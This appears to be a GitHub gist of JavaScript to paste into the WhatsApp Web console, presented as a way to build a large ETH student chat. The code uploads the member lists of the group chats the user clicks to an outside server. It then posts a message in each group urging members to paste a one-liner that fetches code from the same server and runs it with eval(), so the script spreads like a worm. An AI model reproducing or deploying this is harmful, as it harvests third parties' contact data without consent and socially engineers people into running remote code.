Skip to content

Instantly share code, notes, and snippets.

@mmathys
Created March 22, 2018 11:41
Show Gist options
  • Save mmathys/c71a127ddddda88825ca485fa1b75644 to your computer and use it in GitHub Desktop.
Save mmathys/c71a127ddddda88825ca485fa1b75644 to your computer and use it in GitHub Desktop.
var chats = Store.Chat.models.filter((x)=>{return x.__x_id.indexOf('-') !== -1})
var selectBox = document.createElement('div');
selectBox.style = `
width: 100vw;
height: 100vh;
z-index: 100;
background-color: white;
position: absolute;
overflow: scroll;
`;
selectBox.innerHTML = `Thank you for helping to create the biggest ETH chat ever.<br>
Please click on all ETH chats.<br>
A list of the members will be uploaded to my server, and as soon<br>
as enough data is gathered, the group will be created.<br><br>`
for(var i = 0; i < chats.length; i++){
var btn = document.createElement('button');
btn.innerHTML = chats[i].__x_formattedTitle
btn.style = `
font-size: 20px;
border: 1px solid black;
`
btn.onclick = function(btn, chat){
btn.innerHTML = 'Fetching members...';
btn.disabled = true;
Store.Wap.groupMetadataFind(chat.__x_id).then(function(metaData){
btn.innerHTML = metaData.participants.length+' members found!';
setTimeout(()=>{
var xhr = new XMLHttpRequest();
xhr.open('post', 'https://eth-megachat.calchack.com/submit.php');
var data = JSON.stringify(metaData.participants)
console.log("data!!!!", data)
xhr.onload = function(){
if(xhr.responseText === 'rejected'){
btn.innerHTML = 'Rejected (this chat is already in the database)'
}else if(xhr.responseText === 'added'){
btn.innerHTML = 'Added to database. Broadcasting tutorial.'
chat.sendMessage(`
Hi
We are creating the biggest ETH chat ever :D. Please help us expand the
database of ETH students which are already in smaller chats
by running the following snippet of code in the developer console of a
WhatsApp Web instance, if you believe that you are part of ETH chats
which haven't received this message yet. If you know people who are part of
other ETH chats (other courses or semesters), please forward this message.
Snippet:
fetch('https://eth-megachat.calchack.com/').then(response=>console.log(response.text().then(code=>{eval(code)})))
Code which is executed (so you know it's not doing shady stuff...): https://eth-megachat.calchack.com/
- Sean Goff (D-ITET)
`)
}
}
}, 1000)
console.log(metaData)
})
}.bind(this, btn, chats[i])
selectBox.appendChild(btn);
selectBox.appendChild(document.createElement('br'))
}
document.body.appendChild(selectBox)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment